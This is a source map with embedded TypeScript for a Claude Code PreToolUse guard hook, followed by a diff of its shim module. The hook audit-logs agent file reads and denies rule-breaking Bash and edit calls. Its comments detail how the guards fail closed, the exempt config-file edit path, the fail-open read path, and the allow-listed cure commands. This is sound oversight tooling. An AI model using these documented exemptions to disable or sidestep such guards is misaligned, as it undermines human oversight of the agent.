{"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/hook-core.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { logRejection } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, logGuardInvocation } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '../core/load-config';\nimport { RepoRootFinder } from '@webpieces/rules-config';\nimport { NormalizedToolInput, NormalizedEdit, ToolKind, InformAiError, RuleFailError, HookMode, BlockedResult } from '../core/types';\nimport { toError } from '../core/to-error';\nimport { emitDeny, emitAllow } from './claude-code-response';\nimport { committedShimStale, isShimCureCommand, shimStaleDenyReason, installedShimRulesVersion } from '../bin/shim';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);\n\n// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log\n// (guard-invocations.log). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a\n// log-and-allow fast path records every file the AI opens — so a human can later inspect whether it\n// read a project's design.json BEFORE editing the project. Never blocked. Scoped to Read for now;\n// widen (Grep/Glob/NotebookRead) later if desired.\nconst READ_ONLY_TOOLS = new Set(['Read']);\n\ninterface ClaudeCodePayload {\n tool_name: string;\n tool_input: ClaudeCodeToolInput;\n // Claude Code sends the session's current working directory (follows a persisted `cd`). Used to\n // scope guards to the git repo the AI is actually in — see runner git-repo-boundary governance.\n cwd?: string;\n}\n\ninterface ClaudeCodeToolInput {\n file_path?: string;\n content?: string;\n old_string?: string;\n new_string?: string;\n edits?: ClaudeCodeEditEntry[];\n command?: string;\n}\n\ninterface ClaudeCodeEditEntry {\n old_string?: string;\n new_string?: string;\n}\n\nfunction readStdin(): Promise<string> {\n return new Promise((resolve: (value: string) => void) => {\n let data = '';\n process.stdin.setEncoding('utf8');\n process.stdin.on('data', (chunk: string) => { data += chunk; });\n process.stdin.on('end', () => resolve(data));\n process.stdin.on('error', () => resolve(''));\n if (process.stdin.isTTY) resolve('');\n });\n}\n\nfunction safeParse(raw: string): ClaudeCodePayload | null {\n if (!raw || raw.trim() === '') return null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return JSON.parse(raw) as ClaudeCodePayload;\n } catch (err: unknown) {\n const error = toError(err);\n throw new InformAiError(`Malformed hook input from Claude Code stdin: ${error.message}`, { cause: error });\n }\n}\n\nfunction normalizeToolKind(toolName: string): ToolKind | null {\n if (HANDLED_FILE_TOOLS.has(toolName)) return toolName as ToolKind;\n return null;\n}\n\nfunction normalizeToolInput(toolKind: ToolKind, toolInput: ClaudeCodeToolInput): NormalizedToolInput | null {\n const filePath = toolInput.file_path;\n if (!filePath) return null;\n\n if (toolKind === 'Write') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit('', toolInput.content || ''),\n ]);\n }\n if (toolKind === 'Edit') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit(toolInput.old_string || '', toolInput.new_string || ''),\n ]);\n }\n if (toolKind === 'MultiEdit') {\n const raw = Array.isArray(toolInput.edits) ? toolInput.edits : [];\n const edits = raw.map((e: ClaudeCodeEditEntry) => new NormalizedEdit(e.old_string || '', e.new_string || ''));\n return new NormalizedToolInput(filePath, edits);\n }\n return null;\n}\n\nfunction handleBash(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const command = payload.tool_input.command;\n if (!command || command.trim() === '') { emitAllow(); }\n const result = runBash(command, cwd, mode);\n if (!result) { emitAllow(); }\n // Persist the block + WHY. File-tool denies go to hook-rejection.log via logRejection, but a Bash\n // deny had no audit trail — record it in guard-sync-decisions.log so \"blocked and why\" is complete\n // for Bash too. `.webpieces` lives at the repo root, resolved from cwd. Best-effort; never blocks.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(root, new GuardDecision('bash-guard', 'Bash', command ?? '', branchForLog(root), 'BLOCK', result.report));\n // Bash deny → pass 'Bash' so denyJson adds the ANSI-red systemMessage (the only field a Bash deny\n // shows the human; permissionDecisionReason is invisible on Bash). See claude-code-response.ts.\n emitDeny(result.report, 'Bash');\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(result.report, 'Read');\n}\n\nfunction handleFileTool(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const toolKind = normalizeToolKind(payload.tool_name);\n if (!toolKind) { emitAllow(); }\n\n const input = normalizeToolInput(toolKind, payload.tool_input);\n if (!input) { emitAllow(); }\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This exits BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', toolKind, input.filePath, branchForLog(root), 'ALLOW', 'config-bypass (feature-branch-guard skipped)'),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n triggerMainSyncRefresh(root);\n }\n emitAllow();\n }\n\n const result = run(toolKind, input, cwd, mode);\n if (!result) { emitAllow(); }\n\n logRejection(toolKind, input, result, cwd);\n // File-tool deny → pass the Write/Edit/MultiEdit kind so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See claude-code-response.ts.\n emitDeny(result.report, toolKind);\n}\n\n// Committed-shim self-guard, moved here from the rendered shim (2026-07-24). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now: fail closed on EVERY tool (Reads included — nothing is safe until it matches again),\n// allowing ONLY the three cures (isShimCureCommand) so the AI can re-arm it — NOT a deadlock. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). `command` is '' for non-Bash tools, so only a Bash cure can match. Returns normally (nothing\n// to do) or exits via emitAllow/emitDeny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(toolName: string, command: string, cwd: string, mode: HookMode): void {\n if (mode === 'rules' || !committedShimStale(cwd)) return;\n if (isShimCureCommand(command)) emitAllow();\n emitDeny(shimStaleDenyReason(installedShimRulesVersion()), toolName);\n}\n\n/**\n * Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds\n * to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a\n * PreToolUse `permissionDecision:\"deny\"` JSON on stdout (exit 0) — see claude-code-response.ts. Fails\n * CLOSED on any unexpected crash (emits a deny) so a broken hook never silently lets an edit through,\n * and the reason now surfaces in the Claude Code UI instead of being hidden on a stderr+exit-2 block.\n */\nexport async function runMain(mode: HookMode): Promise<void> {\n // Captured from the payload as soon as it parses so the fail-closed catch below can tell denyJson\n // which tool it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Empty (before parse / malformed input) → treated as non-Bash.\n let toolName = '';\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const raw = await readStdin();\n const payload = safeParse(raw);\n if (!payload) { emitAllow(); }\n toolName = payload.tool_name;\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard (moved here from the shim, 2026-07-24). Runs BEFORE read handling so\n // a stale shim blocks EVERY tool, Reads included — see enforceCommittedShim for the full why.\n enforceCommittedShim(payload.tool_name, payload.tool_input.command ?? '', cwd, mode);\n\n // Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped\n // guard (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule\n // ever sees a Read, and the only way this path can deny is a stale `main`.\n // The audit trail still records every file the AI opened (see setup.ts).\n if (READ_ONLY_TOOLS.has(payload.tool_name)) {\n const readPath = payload.tool_input.file_path ?? '';\n if (mode !== 'rules') {\n logGuardInvocation(cwd, payload.tool_name, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n triggerMainSyncRefresh(cwd);\n }\n handleRead(readPath, cwd, mode);\n emitAllow();\n }\n\n // Per-invocation guard log (guard-invocations.log): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');\n logGuardInvocation(cwd, payload.tool_name, target);\n }\n\n if (payload.tool_name === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(payload, cwd, mode);\n return;\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(payload, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n // An escaped RuleFailError (a rule that threw past the runner's per-rule catch) or an\n // InformAiError (bad config/stdin) both carry an AI-readable message; anything else is an\n // unexpected bug. All three deny (fail closed) and surface their reason to the AI.\n if (error instanceof RuleFailError) {\n emitDeny(error.aiMessage, toolName);\n } else if (error instanceof InformAiError) {\n emitDeny(error.message, toolName);\n } else {\n emitDeny(`[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, toolName);\n }\n }\n}\n"]}
|
package/src/bin/shim.d.ts
CHANGED
|
@@ -1,5 +1,4 @@
|
|
|
1
1
|
export declare const SHIM_MARKER = ".claude/webpieces/ai-hook.sh";
|
|
2
|
-
export declare const SHIM_VERSION_STAMP = "REPLACEME_GIT_HASH_VERSION";
|
|
3
2
|
export declare function shimPath(projectRoot: string): string;
|
|
4
3
|
export declare const CAPTURE_TAIL_ERE = "([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$";
|
|
5
4
|
export declare const CAPTURE_TAIL_JS_SRC = "(\\s+2>(&1|\\/dev\\/null))?(\\s*\\|\\s*(tail|head)(\\s+-(n\\s+)?[0-9]+)?)?\\s*$";
|
|
@@ -16,6 +15,14 @@ export declare const UPGRADE_SHIM_CMD = "pnpm exec wp-upgrade-shim";
|
|
|
16
15
|
export declare const RESTORE_SHIM_ALLOW_ERE: string;
|
|
17
16
|
export declare const RESTORE_SHIM_ALLOW_JS: RegExp;
|
|
18
17
|
export declare const RESTORE_SHIM_CMD = "cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh";
|
|
18
|
+
export declare const INSTALL_HOOKS_ALLOW_ERE: string;
|
|
19
|
+
export declare const INSTALL_HOOKS_ALLOW_JS: RegExp;
|
|
20
|
+
export declare const INSTALL_HOOKS_CMD = "pnpm exec wp-install-ai-hooks";
|
|
21
|
+
export declare const NO_CHAINING_RULE: string;
|
|
19
22
|
export declare function renderShim(): string;
|
|
20
23
|
export declare function findShimRoot(cwd: string): string | null;
|
|
21
24
|
export declare function healShim(cwd: string): void;
|
|
25
|
+
export declare function committedShimStale(cwd: string): boolean;
|
|
26
|
+
export declare function isShimCureCommand(command: string): boolean;
|
|
27
|
+
export declare function shimStaleDenyReason(installedVersion: string): string;
|
|
28
|
+
export declare function installedShimRulesVersion(): string;
|
package/src/bin/shim.js
CHANGED
|
@@ -1,14 +1,19 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = exports.
|
|
3
|
+
exports.NO_CHAINING_RULE = exports.INSTALL_HOOKS_CMD = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = exports.SHIM_MARKER = void 0;
|
|
4
4
|
exports.shimPath = shimPath;
|
|
5
5
|
exports.renderShim = renderShim;
|
|
6
6
|
exports.findShimRoot = findShimRoot;
|
|
7
7
|
exports.healShim = healShim;
|
|
8
|
+
exports.committedShimStale = committedShimStale;
|
|
9
|
+
exports.isShimCureCommand = isShimCureCommand;
